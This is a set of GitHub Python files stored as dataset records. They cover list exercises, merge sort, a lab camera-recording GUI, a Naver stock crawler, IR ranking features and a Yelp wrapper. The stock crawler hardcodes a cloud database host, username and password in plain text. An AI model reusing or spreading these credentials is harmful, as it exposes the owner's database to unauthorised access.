bt=batch_time.avg,\r\n loss=losses.avg,\r\n top1=top1.avg,\r\n ))\r\n\r\n return (losses.avg, top1.avg)","repo_name":"JiePKU/SafeCompress","sub_path":"MIA/.ipynb_checkpoints/white_train-checkpoint.py","file_name":"white_train-checkpoint.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"2101072606","text":"from barplot import SixSidedDie_BarPlot as d6_plot\n\ndef lists():\n \"\"\" Application Entry point \"\"\"\n print(\"Main Started...\")\n c=[-45, 6, 0, 72, 1543]\n d=['Mary', 'Smith', 3.57, 2022]\n\n c+= [5]\n\n print(c)\n\n a_list = []\n\n for number in range(1, 6):\n a_list+=[number]\n\n print(a_list)\n\n letters = []\n\n letters+='Python'\n\n print(letters)\n\n\n list1 = [10, 20, 30]\n\n list2 = [40, 50]\n\n list3 = list1 + list2 + list1\n\n for i in range(len(list3)):\n print(f'{i}: {list3[i]}')\n\n \n lista = [1, 2, 3]\n\n listb = [1, 2, 3]\n\n listc = [3, 4, 5]\n\n print(lista==listb)\n\n print(lista==listc)\n\n someOtherList=[19, 3, 15, 7, 11]\n aNewList=someOtherList[1:3]\n endList=someOtherList[:2]\n\n print(endList)\n\n sentence=\"hello, my name is Tom\"\n\n if \"Tom\" in sentence:\n print(\"Tom is in the sentence\")\n else:\n print(\"Error: not in the sentence.\")\n\n del(someOtherList[-1])\n\n print(someOtherList)\n\n someOtherList.clear()\n\n print(someOtherList)\n\ndef tuples():\n john='John', 'Green', 3.3\n\n print(john)\n\n mary='Mary', 'Red', 3.4\n\n mary+=('Blue',)\n\n print(mary)\n\n singleton=('red',)\n\n print(singleton)\n\n print(mary[1])\n\ndef tuples_and_lists():\n numbers=[1, 2, 3, 4, 5]\n\n numbers+=(6, 7)\n\n print(numbers)\n\ndef unpack():\n student_tuple=('Amanda', [98, 85, 87])\n\n first_name, grades = student_tuple\n\n print(first_name)\n\n print(grades)\n\n science, math, english = grades\n print(science)\n print(math)\n print(english)\n\n first, second = 'hi'\n\n first, second = second, first\n\n print(first, second)\n\n number1, number2, number3 = [2, 3, 5]\n print(number1)\n print(number2)\n print(number3)\n\n number99 = 99\n number22 = 22\n number44 = 44\n number55 = 55\n\n number99, number22, number44, number55 = number22, number99, number55, number44\n\n print(number99, number22, number44, number55)\n\ndef iterate():\n colors=['red', 'orange', 'yellow']\n print(list(enumerate(colors)))\n\n print(tuple(enumerate(colors)))\n\ndef dictionaries():\n my_dictionary = {}\n my_dictionary[0]=\"0\"\n my_dictionary[\"Tom\"]=\"Tom\"\n my_dictionary[\"Mark\"]=\"Sensei\"\n my_dictionary[\"Toronto\"]=\"Hot\"\n\n print(my_dictionary)\n\n another_one={'Tom': 'Tom', 'Mark': 'Sensei', 'Toronto': 'Hot'}\n\n if(my_dictionary == another_one):\n print(\"both dictionaries are the same!\")\n\n print(dict(enumerate(another_one)))\n\n print(my_dictionary[0])\n\n print(list(my_dictionary.items()))\n\ndef is_odd(x):\n \"\"\"Returns True only if x is odd.\"\"\"\n return x % 2 !=0\n\ndef is_even(x):\n \"\"\"Returns True only if x is even. \"\"\"\n return x % 2 == 0\n\ndef counting():\n responses = [1, 2, 5, 4, 3, 5, 2, 1, 3, 3, 1, 4, 3, 3, 3, 2, 3, 3, 2, 2]\n\n for i in range(1, 6):\n print(f'{i} appears {responses.count(i)} times in responses')\n\n responses.reverse()\n\n print(responses)\n\n new_responses = responses.copy()\n\n new_responses.reverse()\n\n print(new_responses)\n\n print(list(filter(is_even, new_responses)))\n\n\nd6_plot(60000)","repo_name":"CentennialCollege/COMP301-M2020-Lesson9","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"26913476749","text":"#实现二路归并排序算法\n#输入：[2,5,3,7,5,3,8,10]\n#输出：[2,3,3,5,5,7,8,10]\n#输入：[1,9,56,3,0,47,2,6]\n#输出：[0,1,2,3,6,9,47,56]\n#复杂度为：O(nlogn)\ndef merge(a,b): #合并\n i=0\n j=0\n c=[]\n #以下操作是将a和b数组合并操作\n while i '+\n '\\n -> '.join(avtnames))\n \n sys.exit()\n cam['name'] = camids[0][1]\n if not 'TriggerSource' in cam.keys():\n cam['TriggerSource'] = 'Line1'\n if not 'TriggerMode' in cam.keys():\n cam['TriggerMode'] = 'LevelHigh'\n if not 'TriggerSelector' in cam.keys():\n cam['TriggerSelector'] = 'FrameStart'\n if not 'AcquisitionMode' in cam.keys():\n cam['AcquisitionMode'] = 'Continuous'\n if not 'AcquisitionFrameCount' in cam.keys():\n cam['AcquisitionFrameCount'] = 1000\n if not 'nFrameBuffers' in cam.keys():\n cam['nFrameBuffers'] = 6\n self.cams.append(AVTCam(camId=camids[0][0],\n outQ = self.camQueues[-1],\n frameRate=cam['frameRate'],\n gain=cam['gain'],\n triggered = self.triggered,\n triggerSource = cam['TriggerSource'],\n triggerMode = cam['TriggerMode'],\n triggerSelector = cam['TriggerSelector'],\n acquisitionMode = cam['AcquisitionMode'],\n nTriggeredFrames = cam['AcquisitionFrameCount'],\n nFrameBuffers = cam['nFrameBuffers'],\n recorderpar = recorderpar))\n connected_avt_cams.append(camids[0][0])\n elif cam['driver'].lower() == 'qimaging':\n try:\n from .qimaging import QImagingCam\n except Exception as err:\n print(err)\n print(''' \n\n Could not load the QImaging driver. \n If you want to record from QImaging cameras install the QImaging driver.\n If not you have the wrong config file.\n\n Edit the file in USERHOME/labcams/default.json and delete the QImaging cam or use the -c option \n\n''')\n sys.exit(1)\n \n if not 'binning' in cam.keys():\n cam['binning'] = 2\n self.cams.append(QImagingCam(camId=cam['id'],\n outQ = self.camQueues[-1],\n exposure=cam['exposure'],\n gain=cam['gain'],\n binning = cam['binning'],\n triggerType = cam['triggerType'],\n triggered = self.triggered,\n recorderpar = recorderpar))\n \n elif cam['driver'].lower() == 'opencv':\n self.cams.append(OpenCVCam(camId=cam['id'],\n outQ = self.camQueues[-1],\n triggered = self.triggered,\n **cam,\n recorderpar = recorderpar))\n elif cam['driver'].lower() == 'pco':\n try:\n from .pco import PCOCam\n except Exception as err:\n print(err)\n print(''' \n\n Could not load the PCO driver. \n\n If you want to record from PCO cameras install the PCO.sdk driver.\n If not you have the wrong config file.\n\n Edit the file in USERHOME/labcams/default.json and delete the PCO cam or use the -c option\n\n''')\n\n sys.exit(1)\n \n if 'CamStimTrigger' in cam.keys():\n if not cam['CamStimTrigger'] is None:\n self.camstim_widget = CamStimTriggerWidget(\n port = cam['CamStimTrigger']['port'],\n outQ = self.camQueues[-1])\n camstim = self.camstim_widget.ino\n else:\n camstim = None\n if not 'binning' in cam.keys():\n cam['binning'] = None\n self.cams.append(PCOCam(camId=cam['id'],\n binning = cam['binning'],\n exposure = cam['exposure'],\n outQ = self.camQueues[-1],\n acquisition_stim_trigger = camstim,\n triggered = self.triggered,\n recorderpar = recorderpar))\n elif cam['driver'].lower() == 'basler':\n try:\n from .basler import BaslerCam\n except Exception as err:\n print(err)\n print(''' \n\n Could not load the Basler driver. \n\n If you want to record from BASLER cameras install the pypylon driver (pip install).\n If not you have the wrong config file.\n\n Edit the file in USERHOME/labcams/default.json and delete the Basler cam or use the -c option\n\n''')\n\n sys.exit(1)\n \n if 'CamStimTrigger' in cam.keys():\n if not cam['CamStimTrigger'] is None:\n self.camstim_widget = CamStimTriggerWidget(\n port = cam['CamStimTrigger']['port'],\n outQ = self.camQueues[-1])\n camstim = self.camstim_widget.ino\n else:\n camstim = None\n if not 'binning' in cam.keys():\n cam['binning'] = None\n self.cams.append(BaslerCam(camId=cam['id'],\n binning = cam['binning'],\n exposure = cam['exposure'],\n outQ = self.camQueues[-1],\n triggered = self.triggered,\n recorderpar = recorderpar))\n\n \n elif cam['driver'].lower() == 'ximea':\n try:\n from .ximeacam import XimeaCam\n except Exception as err:\n print(''' \n\n Could not load the Ximea driver. \n\n If you want to record from Ximea cameras install the Ximea driver.\n If not you have the wrong config file.\n\n Edit the file in USERHOME/labcams/default.json and delete the ximea cam or use the -c option\n\n''')\n raise(err)\n self.cams.append(XimeaCam(camId=cam['id'],\n binning = cam['binning'],\n exposure = cam['exposure'],\n outQ = self.camQueues[-1],\n triggered = self.triggered,\n recorderpar = recorderpar))\n elif cam['driver'].lower() == 'pointgrey':\n try:\n from .pointgreycam import PointGreyCam\n except Exception as err:\n print(err)\n\n print(''' \n\n Could not load the PointGrey driver.\n \n If you want to record from PointGrey/FLIR cameras install the Spinaker SDK.\n If not you have the wrong config file.\n\n Edit the file in USERHOME/labcams/default.json and delete the PointGrey cam or use the -c option\n\n''')\n sys.exit()\n if not 'roi' in cam.keys():\n cam['roi'] = []\n if not 'pxformat' in cam.keys():\n cam['pxformat'] = 'Mono8' #'BayerRG8'\n if not 'serial' in cam.keys():\n # camera serial number\n cam['serial'] = None \n if not 'binning' in cam.keys():\n cam['binning'] = None\n if not 'exposure' in cam.keys():\n cam['exposure'] = None\n if not 'gamma' in cam.keys():\n cam['gamma'] = None\n if not 'hardware_trigger' in cam.keys():\n cam['hardware_trigger'] = None\n if cam['roi'] is str:\n if ',' in cam['roi']:\n cam['roi'] = [int(c.strip('[').strip(']')) for c in cam['roi'].split(',')]\n else:\n cam['roi'] = []\n self.cams.append(PointGreyCam(camId=cam['id'],\n serial = cam['serial'],\n gain = cam['gain'],\n roi = cam['roi'],\n frameRate = cam['frameRate'],\n pxformat = cam['pxformat'],\n exposure = cam['exposure'],\n binning = cam['binning'],\n gamma = cam['gamma'],\n outQ = self.camQueues[-1],\n triggered = self.triggered,\n recorderpar = recorderpar,\n hardware_trigger = cam['hardware_trigger']))\n else: \n display('[WARNING] -----> Unknown camera driver' +\n cam['driver'])\n self.camQueues.pop()\n self.saveflags.pop()\n if not 'recorder_sleep_time' in self.parameters.keys():\n self.parameters['recorder_sleep_time'] = 0.3\n if 'SaveMethod' in cam.keys():\n cam['recorder'] = cam['SaveMethod']\n display('SaveMethod is deprecated, use recorder instead.')\n if not 'noqueue' in cam['recorder']:\n towriter = dict(inQ = self.camQueues[-1],\n datafolder=self.parameters['recorder_path'],\n pathformat = self.parameters['recorder_path_format'],\n framesperfile=self.parameters['recorder_frames_per_file'],\n sleeptime = self.parameters['recorder_sleep_time'],\n filename = expName,\n dataname = cam['description'])\n if cam['recorder'] == 'tiff':\n display('Recording to TIFF')\n self.writers.append(TiffWriter(compression = cam['compress'],\n **towriter))\n elif cam['recorder'] == 'ffmpeg':\n display('Recording with ffmpeg')\n if not 'hwaccel' in cam.keys():\n cam['hwaccel'] = None\n self.writers.append(FFMPEGWriter(compression = cam['compress'],\n hwaccel = cam['hwaccel'],\n **towriter))\n elif cam['recorder'] == 'binary':\n display('Recording binary')\n self.writers.append(BinaryWriter(**towriter))\n elif cam['recorder'] == 'opencv':\n display('Recording opencv')\n self.writers.append(OpenCVWriter(compression = cam['compress'],**towriter))\n else:\n print(''' \n\nThe available recorders are:\n - tiff (multiple tiffstacks - the default) \n - binary \n - ffmpeg Records video format using ffmpeg (hwaccel options: intel, nvidia - remove for no hardware acceleration)\n - opencv Records video format using openCV\n\nThe recorders can be specified with the '\"recorder\":\"ffmpeg\"' option in each camera setting of the config file.\n''')\n raise ValueError('Unknown recorder {0} '.format(cam['recorder']))\n else:\n self.writers.append(None)\n \n if 'CamStimTrigger' in cam.keys():\n self.camstim_widget.outQ = self.camQueues[-1]\n # Print parameters\n display('\\t Camera: {0}'.format(cam['name']))\n for k in np.sort(list(cam.keys())):\n if not k == 'name' and not k == 'recorder':\n display('\\t\\t - {0} {1}'.format(k,cam[k]))\n #self.resize(100,100)\n\n self.initUI()\n \n self.camerasRunning = False\n if hasattr(self,'camstim_widget'):\n self.camstim_widget.ino.start()\n self.camstim_widget.ino.disarm()\n\n for cam,writer in zip(self.cams[::-1],self.writers[::-1]):\n cam.start()\n if not writer is None:\n writer.init(cam)\n writer.start()\n \n camready = 0\n while camready != len(self.cams):\n camready = np.sum([cam.camera_ready.is_set() for cam in self.cams])\n display('Initialized cameras.')\n\n if hasattr(self,'camstim_widget'):\n self.camstim_widget.ino.arm()\n\n self.triggerCams(soft_trigger = self.software_trigger,\n save=self.saveOnStart)\n\n def setExperimentName(self,expname):\n # Makes sure that the experiment name has the right slashes.\n if os.path.sep == '/':\n expname = expname.replace('\\\\',os.path.sep)\n expname = expname.strip(' ')\n for flg,writer,cam in zip(self.saveflags,self.writers,self.cams):\n if flg:\n if not writer is None:\n writer.set_filename(expname)\n else:\n display('Setting serial recorder filename.')\n cam.eventsQ.put('filename='+expname)\n #time.sleep(0.15)\n self.recController.experimentNameEdit.setText(expname)\n \n def serverActions(self):\n if self.parameters['server'] == 'zmq':\n try:\n message = self.zmqSocket.recv_pyobj(flags=zmq.NOBLOCK)\n except:\n return\n self.zmqSocket.send_pyobj(dict(action='handshake'))\n elif self.parameters['server'] == 'udp':\n try:\n msg,address = self.udpsocket.recvfrom(N_UDP)\n except:\n return\n msg = msg.decode().split('=')\n message = dict(action=msg[0])\n if len(msg) > 1:\n message = dict(message,value=msg[1])\n #display('Server received message: {0}'.format(message))\n if message['action'].lower() == 'expname':\n self.setExperimentName(message['value'])\n self.udpsocket.sendto(b'ok=expname',address)\n elif message['action'].lower() == 'softtrigger':\n self.recController.softTriggerToggle.setChecked(\n int(message['value']))\n self.udpsocket.sendto(b'ok=software_trigger',address)\n elif message['action'].lower() == 'trigger':\n for cam in self.cams:\n cam.stop_acquisition()\n # make sure all cams closed\n for c,(cam,writer) in enumerate(zip(self.cams,self.writers)):\n cam.stop_saving()\n #if not writer is None: # Logic moved to inside camera.\n # writer.write.clear()\n self.triggerCams(soft_trigger = self.software_trigger,save = True)\n self.udpsocket.sendto(b'ok=save_hardwaretrigger',address)\n elif message['action'].lower() == 'settrigger':\n self.recController.camTriggerToggle.setChecked(\n int(message['value']))\n self.udpsocket.sendto(b'ok=hardware_trigger',address)\n elif message['action'].lower() in ['setmanualsave','manualsave']:\n self.recController.saveOnStartToggle.setChecked(\n int(message['value']))\n self.udpsocket.sendto(b'ok=save',address)\n elif message['action'].lower() == 'log':\n for cam in self.cams:\n cam.eventsQ.put('log={0}'.format(message['value']))\n # write on display\n #self.camwidgets[0].text_remote.setText(message['value'])\n self.udpsocket.sendto(b'ok=log',address)\n self.recController.udpmessages.setText(message['value'])\n elif message['action'].lower() == 'ping':\n display('Server got PING.')\n self.udpsocket.sendto(b'pong',address)\n elif message['action'].lower() == 'quit':\n self.udpsocket.sendto(b'ok=bye',address)\n self.close()\n def triggerCams(self,soft_trigger = True, save=False):\n # stops previous saves if there were any\n display(\"Waiting for the cameras to be ready.\")\n for c,cam in enumerate(self.cams):\n while not cam.camera_ready.is_set():\n time.sleep(0.001)\n display('Camera [{0}] ready.'.format(c))\n display('Doing save ({0}) and trigger'.format(save))\n if save:\n for c,(cam,flg,writer) in enumerate(zip(self.cams,\n self.saveflags,\n self.writers)):\n if flg:\n cam.saving.set()\n if not writer is None:\n writer.write.set()\n else:\n for c,(cam,flg,writer) in enumerate(zip(self.cams,\n self.saveflags,\n self.writers)):\n if flg:\n if not writer is None:\n cam.stop_saving()\n #writer.write.clear() # cam stops writer\n #time.sleep(2)\n if soft_trigger:\n for c,cam in enumerate(self.cams):\n cam.start_trigger.set()\n display('Software triggered cameras.')\n \n def experimentMenuTrigger(self,q):\n if q.text() == 'Set refresh time':\n self.timer.stop()\n res = QInputDialog().getDouble(self,\"What refresh period do you want?\",\"GUI refresh period\",\n self.updateFrequency)\n if res[1]:\n self.updateFrequency = res[0]\n self.timer.start(self.updateFrequency)\n #display(q.text()+ \"clicked. \")\n \n def initUI(self):\n # Menu\n self.setDockOptions(QMainWindow.AllowTabbedDocks |\n QMainWindow.AllowNestedDocks\n)\n bar = self.menuBar()\n editmenu = bar.addMenu(\"Options\")\n editmenu.addAction(\"Set refresh time\")\n editmenu.triggered[QAction].connect(self.experimentMenuTrigger)\n self.setWindowTitle(\"labcams\")\n self.tabs = []\n self.camwidgets = []\n self.recController = RecordingControlWidget(self)\n #self.setCentralWidget(self.recController)\n self.recControllerTab = QDockWidget(\"\",self)\n self.recControllerTab.setWidget(self.recController)\n self.addDockWidget(\n Qt.TopDockWidgetArea,\n self.recControllerTab)\n self.recController.setFixedHeight(self.recController.layout.sizeHint().height())\n for c,cam in enumerate(self.cams):\n tt = ''\n if self.saveflags[c]:\n tt += ' - ' + self.cam_descriptions[c]['description'] +' ' \n self.tabs.append(QDockWidget(\"Camera: \"+str(c) + tt,self))\n self.camwidgets.append(CamWidget(frame = np.zeros((cam.h,cam.w,cam.nchan),\n dtype=cam.dtype),\n iCam = c,\n parent = self,\n parameters = self.cam_descriptions[c]))\n self.tabs[-1].setWidget(self.camwidgets[-1])\n self.tabs[-1].setFloating(False)\n self.tabs[-1].setAllowedAreas(Qt.LeftDockWidgetArea |\n Qt.RightDockWidgetArea |\n Qt.BottomDockWidgetArea |\n Qt.TopDockWidgetArea)\n self.tabs[-1].setFeatures(QDockWidget.DockWidgetMovable |\n QDockWidget.DockWidgetFloatable)\n self.addDockWidget(\n Qt.BottomDockWidgetArea,\n self.tabs[-1])\n self.tabs[-1].setMinimumHeight(300)\n # there can only be one of these for now?\n if hasattr(self,'camstim_widget'):\n self.camstim_tab = QDockWidget(\"Camera excitation control\",self)\n self.camstim_tab.setWidget(self.camstim_widget)\n self.addDockWidget(\n Qt.LeftDockWidgetArea,\n self.camstim_tab)\n display('Init view: ' + str(c))\n self.timer = QTimer()\n self.timer.timeout.connect(self.timerUpdate)\n self.timer.start(self.updateFrequency)\n #self.move(0, 0)\n self.show()\n \t\n def timerUpdate(self):\n for c,cam in enumerate(self.cams):\n try:\n #self.camwidgets[c].image(frame,cam.nframes.value)\n frame = cam.get_img()\n if not frame is None:\n self.camwidgets[c].image(frame,cam.nframes.value) #frame\n except Exception as e:\n display('Could not draw cam: {0}'.format(c))\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(\n exc_tb.tb_frame.f_code.co_filename)[1]\n print(e, fname, exc_tb.tb_lineno)\n\n def closeEvent(self,event):\n if hasattr(self,'serverTimer'):\n self.serverTimer.stop()\n self.timer.stop()\n if hasattr(self,'camstim_widget'):\n self.camstim_widget.ino.disarm()\n self.camstim_widget.close()\n \n display('Acquisition stopped (close event).')\n for c,(cam,flg,writer) in enumerate(zip(self.cams,\n self.saveflags,\n self.writers)):\n if flg:\n cam.stop_saving()\n #writer.write.clear() # logic moved inside writer\n if not writer is None:\n writer.stop()\n cam.close()\n for c in self.cams:\n c.join()\n for c,(cam,flg,writer) in enumerate(zip(self.cams,\n self.saveflags,\n self.writers)):\n if flg:\n if not writer is None:\n writer.join()\n pg.setConfigOption('crashWarning', False)\n event.accept()\n\n\ndef main():\n\n from argparse import ArgumentParser, RawDescriptionHelpFormatter\n import os\n import json\n parser = ArgumentParser(description=LOGO + '\\n\\n Multiple camera control and recording.',formatter_class=RawDescriptionHelpFormatter)\n parser.add_argument('file',\n metavar='file',\n type=str,\n default=None,\n nargs=\"?\")\n parser.add_argument('-d','--make-config',\n type=str,\n default = None,\n action='store')\n parser.add_argument('-w','--wait',\n default = False,\n action='store_true')\n parser.add_argument('-t','--triggered',\n default=False,\n action='store_true')\n parser.add_argument('-c','--cam-select',\n type=int,\n nargs='+',\n action='store')\n parser.add_argument('--no-server',\n default=False,\n action='store_true')\n parser.add_argument('--bin-to-mj2',\n default=False,\n action='store_true')\n parser.add_argument('--mj2-rate',\n default=30.,\n action='store')\n \n opts = parser.parse_args()\n\n if opts.bin_to_mj2:\n from labcams.io import mmap_dat\n \n fname = opts.file\n \n assert not fname is None, \"Need to supply a binary filename to compress.\"\n assert os.path.isfile(fname), \"File {0} not found\".format(fname)\n ext = os.path.splitext(fname)[-1]\n assert ext in ['.dat','.bin'], \"File {0} needs to be binary.\".format(fname) \n stack = mmap_dat(fname)\n stack_to_mj2_lossless(stack, fname, rate = opts.mj2_rate)\n print('Converted {0}'.format(fname.replace(ext,'.mov')))\n sys.exit(0)\n \n if not opts.make_config is None:\n from .widgets import SettingsDialog\n app = QApplication(sys.argv)\n s = SettingsDialog(getPreferences())\n sys.exit(app.exec_())\n fname = opts.make_config\n getPreferences(fname, create=True)\n sys.exit(s.exec_())\n parameters = getPreferences(opts.file)\n cams = parameters['cams']\n if not opts.cam_select is None:\n cams = [parameters['cams'][i] for i in opts.cam_select]\n\n app = QApplication(sys.argv)\n w = LabCamsGUI(app = app,\n camDescriptions = cams,\n parameters = parameters,\n server = not opts.no_server,\n software_trigger = not opts.wait,\n triggered = opts.triggered)\n sys.exit(app.exec_())\n \nif __name__ == '__main__':\n main()\n","repo_name":"TrendingTechnology/labcams","sub_path":"labcams/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":33000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"91"}
+{"seq_id":"9470085501","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\nimport pandas as pd \nimport numpy as np\n\nimport pymysql\nfrom sqlalchemy import create_engine\npymysql.install_as_MySQLdb()\n\nimport html5lib\nfrom datetime import datetime\n\n\n# In[8]:\n\n\n# db에서 종목코드 가져오기\n# db 추출 연결\n#종목에서 끌어올 코드번호 데이터 프레임에 삽입\n\ndb = pymysql.connect(host = 'sp-articledb.clwrfz92pdul.ap-northeast-2.rds.amazonaws.com', port = 3306,user ='admin',passwd = 'sogangsp',db='mydb',charset = 'utf8')\ncursor = db.cursor()\n\nsql = \"\"\"\n select * from CODE_INFORMATION ;\n \"\"\"\ncursor.execute(sql)\ndb.commit()\n\ncode_data = pd.DataFrame(cursor.fetchall(), columns=['code', 'name'])\n\n#str 형태로 저장되어있는 코드명을 int로 치환 후 6자리 int형으로 고정\ncode_data.code = code_data.code.astype(int)\ncode_data.code=code_data.code.map('{:06d}'.format)\n\n\n# In[9]:\n\n\n\ndef get_url(item_name, code_data): \n code = code_data.query(\"name=='{}'\".format(item_name))['code'].to_string(index=False)\n code = code.strip(' ')\n url = 'http://finance.naver.com/item/sise_day.nhn?code={code}'.format(code=code)\n\n print(\"요청 URL = {}\".format(url)) \n return url\n\ndef crawler_chart(item_name) :\n url = get_url(item_name, code_data) \n\n # 일자 데이터를 담을 df라는 DataFrame 정의 \n df = pd.DataFrame() \n\n for page in range(1, 2): \n pg_url = '{url}&page={page}'.format(url=url, page=page) \n df = df.append(pd.read_html(pg_url, header=0)[0], ignore_index=True)\n\n df = df.dropna()\n \n return df \n\ndef oneday_crawl(item_name) :\n update_chart = pd.DataFrame(columns=['CORP_NAME','TRADE_TIME','CLOSE_PRICE','DIFF','OPEN_PRICE','MAX_PRICE','MIN_PRICE','TRADE_AMOUNT'])\n now = datetime.now()\n for i in crawler_chart(item_name).get_values() :\n if i[0] == '{:04d}.{:02d}.{:02d}'.format(now.year,now.month,now.day) :\n data = {\n 'CORP_NAME' : item_name\n ,'TRADE_TIME' : i[0]\n ,'CLOSE_PRICE' : int(i[1])\n ,'DIFF' : int(i[2])\n ,'OPEN_PRICE' : int(i[3])\n ,'MAX_PRICE' : int(i[4])\n ,'MIN_PRICE' : int(i[5])\n ,'TRADE_AMOUNT' : int(i[6])\n }\n update_chart=update_chart.append(data,ignore_index=True)\n \n return update_chart\n\n\n# In[10]:\n\n\nupdate_chart = pd.DataFrame(columns=['CORP_NAME','TRADE_TIME','CLOSE_PRICE','DIFF','OPEN_PRICE','MAX_PRICE','MIN_PRICE','TRADE_AMOUNT'])\nfor i in code_data.name :\n update_chart=update_chart.append(oneday_crawl(i))\n\n\n# In[330]:\n\n\n# 오늘 데이터 삽입\nengine = create_engine(\"mysql+pymysql://admin:\"+\"sogangsp\"+\"@sp-articledb.clwrfz92pdul.ap-northeast-2.rds.amazonaws.com:3306/mydb?charset=utf8\", encoding='utf-8')\nconn = engine.connect()\nupdate_chart.to_sql(name = 'CORP_STOCK',con = engine, if_exists = 'append',index = False)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ptaejoon/Stock_Prediction","sub_path":"Crawling/one_day_crawler_final.py","file_name":"one_day_crawler_final.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"33663458692","text":"\nimport numpy as np\nimport pandas as pd\nfrom TextRepresenter import PorterStemmer\nfrom Weighter import WeighterVector\nfrom IRModel import BM25Model\nfrom RandomWalk import whole_graph, PageRank2\n\ndef idf(N, num_documents):\n return np.log(N / (num_documents + 1))\n\n\nclass Featurer:\n\n def __init__(self, index, models=None):\n self.index = index\n print(\"precalcul features\")\n self.doc_N, self.corpus_features = self.pre_calcul_features()\n self.stemmer = PorterStemmer()\n # for each query, stock thing calculated in calcul_features_query and calcul_features_query_doc\n self.query_feature_cache = {}\n self.ranking_feature_cache = {}\n self.models = models if models is not None else [BM25Model(WeighterVector(index))]\n\n def get_features(self, doc_id, query):\n assert doc_id in self.corpus_features.index, \"The given document id {} is not present in corpus\".format(doc_id)\n\n corpus_feats = dict(zip(self.corpus_features.columns, self.corpus_features.loc[doc_id]))\n\n query_array = self.stemmer.getTextRepresentation(query)\n # calcul features for query\n query_feats = self.calculate_features_query(query_array, query)\n\n # calcul features for query and corpus\n query_corpus_feats = self.calculate_features_query_doc(doc_id, query)\n\n all_feats = {**corpus_feats, **query_feats, **query_corpus_feats}\n keys = np.sort(list(all_feats.keys()))\n return keys, [all_feats[f] for f in keys]\n\n\n def pre_calcul_features(self, pagerank_iters=5):\n \"\"\"\n Let's precalcule features that are independent from the query.\n\n -longueur du document\n -nombre de termes\n -somme des idf des termes du document\n -pagerank\n\n \"\"\"\n doc_N, doc_features = self.index.getDocFeatures()\n # add pagerank\n df = pd.DataFrame(doc_features[:, 1:], columns=['doc_len', 'doc_stems', 'doc_idfs'], index=doc_features[:, 0])\n pagerank = PageRank2(whole_graph(self.index))\n rank = pagerank.compute_mus(pagerank_iters)\n df['pagerank'] = rank\n return doc_N, df\n\n\n def calculate_features_query(self, query_array, query):\n \"\"\"\n For already calculated request, check cache.\n For new query, calculates\n -sum of idfs\n -sum of words\n -length of query\n\n :param query_array: contains all words in query\n :param query as plain text\n :return:\n \"\"\"\n if query not in self.query_feature_cache:\n idfs = np.array([idf(self.doc_N, len(self.index.getTfsForStem(w).keys())) for w in query_array])\n self.query_feature_cache[query] = {'query_idf':idfs.sum(), 'query_char_count':len(query)}\n return self.query_feature_cache[query]\n\n def calculate_features_query_doc(self, doc_id, query):\n \"\"\"\n For new request, calculates the ranking according the models.\n For existing request, check cache.\n :param doc_id:\n :param query:\n :return: Ranking of given doc_id for given query\n \"\"\"\n if query not in self.ranking_feature_cache:\n rankings = {}\n for model in self.models:\n model_name = type(model).__name__\n ranking = model.getRanking(query)\n ranking_array = np.array(ranking, dtype=object)\n doc_index, rank = ranking_array.T # split columns\n df = pd.DataFrame({'ranking': rank}, index=doc_index)\n rankings[model_name] = df\n self.ranking_feature_cache[query] = rankings\n\n query_rankings = self.ranking_feature_cache[query]\n #import pdb; pdb.set_trace()\n return {model_name:query_rankings[model_name].loc[doc_id].values[0] for model_name in query_rankings.keys()}\n\n\n\n","repo_name":"samutamm/RI","sub_path":"Featurer.py","file_name":"Featurer.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"11863518469","text":"import json\nimport requests\nimport datetime\nimport time\nimport dateutil.parser\nimport pytz\n\n# YELP TIMEZONE BUG:\n# All events are assumed to originally have been in Pacific time.\n# To query Yelp, change the timezone of your query to Pacific (don't change time, just timezone)\n# and then convert that to UTC.\n# When getting results from Yelp, convert from UTC to Pacific time, then set the Timezone to the local time (without changing time)\ndef str_to_datetime(date_string, timezone_name):\n dt = dateutil.parser.parse(date_string)\n return pytz.timezone(timezone_name).localize(dt)\n\ndef str_to_unix(date_string, timezone_name):\n # dt = str_to_datetime(date_string, timezone_name)\n dt = str_to_datetime(date_string, 'America/Los_Angeles')\n return int(dt.timestamp())\n\ndef to_local_time(dt, timezone_name):\n # Convert from UTC to PDT\n dt = dt.astimezone(pytz.timezone(\"America/Los_Angeles\"))\n # Set timezone to actual timezone instead of PDT and remove timezone info.\n return pytz.timezone(timezone_name).localize(dt.replace(tzinfo=None)).replace(tzinfo=None)\n # return dt.astimezone(pytz.timezone(timezone_name))\n\nclass BusinessSearchResult():\n def __init__(self,\n rating=None,\n price=None,\n phone=None,\n id=None,\n alias=None,\n is_closed=None,\n categories=None,\n review_count=None,\n name=None,\n url=None,\n latitude=None,\n longitude=None,\n image_url=None,\n location=None,\n distance=None,\n transactions=None,\n hours=None):\n self. rating = rating\n self.price = price\n self.phone = phone\n self.id = id\n self.alias = alias\n self. is_closed = is_closed\n self.categories = categories\n self.review_count = review_count\n self.name = name\n self.url = url\n self.latitude = latitude\n self.longitude = longitude\n self.image_url = image_url\n self.location = location\n self.distance = distance\n self.transactions = transactions\n self.hours = hours # Will be none unless using graphql\n\nclass BusinessDetails():\n def __init__(self,\n id=None,\n alias=None,\n name=None,\n image_url=None,\n is_claimed=None,\n is_closed=None,\n url=None,\n price=None,\n rating=None,\n review_count=None,\n phone=None,\n photos=None,\n hours=None,\n categories=None,\n latitude=None,\n longitude=None,\n location=None,\n transactions=None\n ):\n self.id = id\n self.alias = alias\n self.name = name\n self.image_url = image_url\n self.is_claimed = is_claimed\n self.is_closed = is_closed\n self.url = url\n self.price = price\n self.rating = rating\n self.review_count = review_count\n self.phone = phone\n self.photos = photos\n self.hours = hours\n self.categories = categories\n self.latitude = latitude\n self.longitude = 